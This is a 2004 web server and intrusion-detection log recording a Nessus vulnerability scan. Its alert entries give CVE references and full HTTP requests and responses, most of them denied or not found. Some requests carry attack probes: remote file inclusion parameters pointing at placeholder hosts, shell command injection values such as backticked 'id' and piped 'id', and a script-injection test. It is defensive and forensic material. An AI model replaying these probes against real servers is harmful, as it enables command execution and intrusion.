Request: 217.160.165.173 - - [Fri Mar 12 22:41:53 2004] "GET /cgi-bin/turba/status.php HTTP/1.1" 403 308
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/turba
----------------------------------------
GET /cgi-bin/turba/status.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2150BID7625
BID7543
BID7542
Nessus 11636
web-application-attackWEB-PHP ttCMS header.php remote command execution attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:59 2004] "GET /cgi-bin/admin/templates/header.php?admin_root=http://xxxxxxxx. HTTP/1.1" 403 318
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/admin
----------------------------------------
GET /cgi-bin/admin/templates/header.php?admin_root=http://xxxxxxxx. HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Cookie: ttcms_user_admin=1
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2152Nessus 11617web-application-activityWEB-PHP test.php access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:00 2004] "GET /imp/test.php HTTP/1.1" 403 296
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/imp
----------------------------------------
GET /imp/test.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2155BID7542
BID7543
Nessus 11615
web-application-attackWEB-PHP ttforum remote command execution attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:40:03 2004] "GET /modules/forum/index.php?board=10;action=news;ext=help;template=http://xxxxxxxxxxxx HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/modules/forum/index.php] for 50000 ms
----------------------------------------
GET /modules/forum/index.php?board=10;action=news;ext=help;template=http://xxxxxxxxxxxx HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "template=http" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2156Nessus 11685web-application-activityWEB-MISC mod_gzip_status access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:45 2004] "GET /mod_gzip_status HTTP/1.1" 404 295
Handler: (null)
Error: mod_security: Warning. Pattern match "/mod_gzip_status" at THE_REQUEST.
----------------------------------------
GET /mod_gzip_status HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/mod_gzip_status" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2194Nessus 11748
CAN-2002-0749
web-application-activityWEB-CGI CSMailto.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:44:30 2004] "GET /cgi-bin/CSMailto.cgi HTTP/1.1" 404 300
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/CSMailto.cgi
----------------------------------------
GET /cgi-bin/CSMailto.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2195Nessus 11748
CAN-2002-0346
web-application-activityWEB-CGI alert.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:06 2004] "GET /cgi-bin/alert.cgi HTTP/1.1" 404 297
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/alert.cgi
----------------------------------------
GET /cgi-bin/alert.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2198Nessus 11748
CAN-2003-0153
web-application-activityWEB-CGI cvslog.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:17 2004] "GET /cgi-bin/cvslog.cgi?file=<SCRIPT>window.alert</SCRIPT> HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/cvslog.cgi
----------------------------------------
GET /cgi-bin/cvslog.cgi?file=<SCRIPT>window.alert</SCRIPT> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2199Nessus 11748
CAN-2003-0153
web-application-activityWEB-CGI multidiff.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:35 2004] "GET /cgi-bin/multidiff.cgi HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/multidiff.cgi
----------------------------------------
GET /cgi-bin/multidiff.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=87
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2200Nessus 11748
CAN-2000-0423
web-application-activityWEB-CGI dnewsweb.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:35 2004] "GET /cgi-bin/dnewsweb.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/dnewsweb.cgi
----------------------------------------
GET /cgi-bin/dnewsweb.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=85
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2201Nessus 11748
CAN-1999-1377
web-application-activityWEB-CGI download.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:35 2004] "GET /cgi-bin/download.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/download.cgi
----------------------------------------
GET /cgi-bin/download.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=83
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2202Nessus 11748
CAN-2001-1196
web-application-activityWEB-CGI edit_action.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:35 2004] "GET /cgi-bin/edit_action.cgi HTTP/1.1" 403 307
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/edit_action.cgi
----------------------------------------
GET /cgi-bin/edit_action.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=81
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2203Nessus 11748
CAN-2001-0023
web-application-activityWEB-CGI everythingform.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:36 2004] "GET /cgi-bin/everythingform.cgi HTTP/1.1" 403 310
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/everythingform.cgi
----------------------------------------
GET /cgi-bin/everythingform.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=77
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2204Nessus 11748
CAN-2002-0263
web-application-activityWEB-CGI ezadmin.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:36 2004] "GET /cgi-bin/ezadmin.cgi HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ezadmin.cgi
----------------------------------------
GET /cgi-bin/ezadmin.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=75
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2205Nessus 11748
CAN-2002-0263
web-application-activityWEB-CGI ezboard.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:36 2004] "GET /cgi-bin/ezboard.cgi HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ezboard.cgi
----------------------------------------
GET /cgi-bin/ezboard.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=73
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2206Nessus 11748
CAN-2002-0263
web-application-activityWEB-CGI ezman.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:37 2004] "GET /cgi-bin/ezman.cgi HTTP/1.1" 403 301
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ezman.cgi
----------------------------------------
GET /cgi-bin/ezman.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=71
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2207Nessus 11748
CAN-2002-0611
web-application-activityWEB-CGI fileseek.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:37 2004] "GET /cgi-bin/FileSeek.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/FileSeek.cgi
----------------------------------------
GET /cgi-bin/FileSeek.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=67
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2208Nessus 11748
CAN-2002-0230
web-application-activityWEB-CGI fom.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:37 2004] "GET /cgi-bin/fom.cgi HTTP/1.1" 403 299
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/fom.cgi
----------------------------------------
GET /cgi-bin/fom.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=65
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2209Nessus 11748
CAN-2000-0288
web-application-activityWEB-CGI getdoc.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:38 2004] "GET /cgi-bin/getdoc.cgi HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/getdoc.cgi
----------------------------------------
GET /cgi-bin/getdoc.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=61
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2210Nessus 11748
CVE-2000-0952
web-application-activityWEB-CGI global.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:38 2004] "GET /cgi-bin/global.cgi HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/global.cgi
----------------------------------------
GET /cgi-bin/global.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=59
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2211Nessus 11748
CAN-2001-0180
web-application-activityWEB-CGI guestserver.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:38 2004] "GET /cgi-bin/guestserver.cgi HTTP/1.1" 403 307
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/guestserver.cgi
----------------------------------------
GET /cgi-bin/guestserver.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=57
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2212Nessus 11748
CAN-2002-1334
web-application-activityWEB-CGI imageFolio.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:39 2004] "GET /cgi-bin/imageFolio.cgi HTTP/1.1" 403 306
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/imageFolio.cgi
----------------------------------------
GET /cgi-bin/imageFolio.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=55
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2213Nessus 11748
CVE-2000-0977
web-application-activityWEB-CGI mailfile.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:39 2004] "GET /cgi-bin/mailfile.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/mailfile.cgi
----------------------------------------
GET /cgi-bin/mailfile.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=51
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2214Nessus 11748
CAN-2000-0526
web-application-activityWEB-CGI mailview.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:39 2004] "GET /cgi-bin/mailview.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/mailview.cgi
----------------------------------------
GET /cgi-bin/mailview.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=49
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2215Nessus 11748
CAN-2000-1023
web-application-activityWEB-CGI nsManager.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:40 2004] "GET /cgi-bin/nsManager.cgi HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/nsManager.cgi
----------------------------------------
GET /cgi-bin/nsManager.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=45
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2216Nessus 11748
CAN-2001-1283
web-application-activityWEB-CGI readmail.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:40 2004] "GET /cgi-bin/readmail.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/readmail.cgi
----------------------------------------
GET /cgi-bin/readmail.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=41
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2217Nessus 11748
CAN-2001-1283
web-application-activityWEB-CGI printmail.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:41 2004] "GET /cgi-bin/printmail.cgi HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/printmail.cgi
----------------------------------------
GET /cgi-bin/printmail.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=39
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2218Nessus 11748
CAN-2002-0346
web-application-activityWEB-CGI service.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:42 2004] "GET /cgi-bin/service.cgi HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/service.cgi
----------------------------------------
GET /cgi-bin/service.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=31
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2219Nessus 11748
CAN-2001-0133
web-application-activityWEB-CGI setpasswd.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:42 2004] "GET /cgi-bin/setpasswd.cgi HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/setpasswd.cgi
----------------------------------------
GET /cgi-bin/setpasswd.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=29
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2220Nessus 11748
CAN-2001-0022
web-application-activityWEB-CGI simplestmail.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:42 2004] "GET /cgi-bin/simplestmail.cgi HTTP/1.1" 403 308
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/simplestmail.cgi
----------------------------------------
GET /cgi-bin/simplestmail.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=27
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2221Nessus 11748
CAN-2001-1343
web-application-activityWEB-CGI ws_mail.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:43 2004] "GET /cgi-bin/ws_mail.cgi HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ws_mail.cgi
----------------------------------------
GET /cgi-bin/ws_mail.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=19
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2222Nessus 11740
BID7912
BID7911
BID7910
web-application-activityWEB-CGI nph-exploitscanget.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:44:06 2004] "GET /cgi-bin/nph-exploitscanget.cgi?host=`id`&port=80&errchk=0&idsbypass=0 HTTP/1.1" 404 310
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/nph-exploitscanget.cgi
----------------------------------------
GET /cgi-bin/nph-exploitscanget.cgi?host=`id`&port=80&errchk=0&idsbypass=0 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2223CVE-2002-0923
BID4994
web-application-activityWEB-CGI csNews.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:53 2004] "GET /cgi-bin/csNews.cgi HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/csNews.cgi
----------------------------------------
GET /cgi-bin/csNews.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2224Nessus 11750
BID6607
web-application-activityWEB-CGI psunami.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:31 2004] "GET /shop/psunami.cgi?file=|id| HTTP/1.1" 404 296
Handler: (null)
Error: File does not exist: /usr/local/apache/htdocs/shop/psunami.cgi
----------------------------------------
GET /shop/psunami.cgi?file=|id| HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2226BID7919
Nessus 11739
web-application-attackWEB-PHP pmachine remote command execution attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:44:37 2004] "GET /cgi-bin/lib.inc.php?pm_path=http://xxxxxxxx&sfx=.txt HTTP/1.1" 404 299
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/lib.inc.php
----------------------------------------
GET /cgi-bin/lib.inc.php?pm_path=http://xxxxxxxx&sfx=.txt HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2229BID7979
Nessus 11767
web-application-attackWEB-PHP viewtopic.php access
Request: 210.49.12.237 - - [Thu Mar 11 03:53:30 2004] "GET http://www.exovian.com/forum/viewtopic.php?t=18 HTTP/1.0" 200 25000
Handler: proxy-server
----------------------------------------
GET http://www.exovian.com/forum/viewtopic.php?t=18 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-gsarcade-launch, */*
Accept-Language: en-au
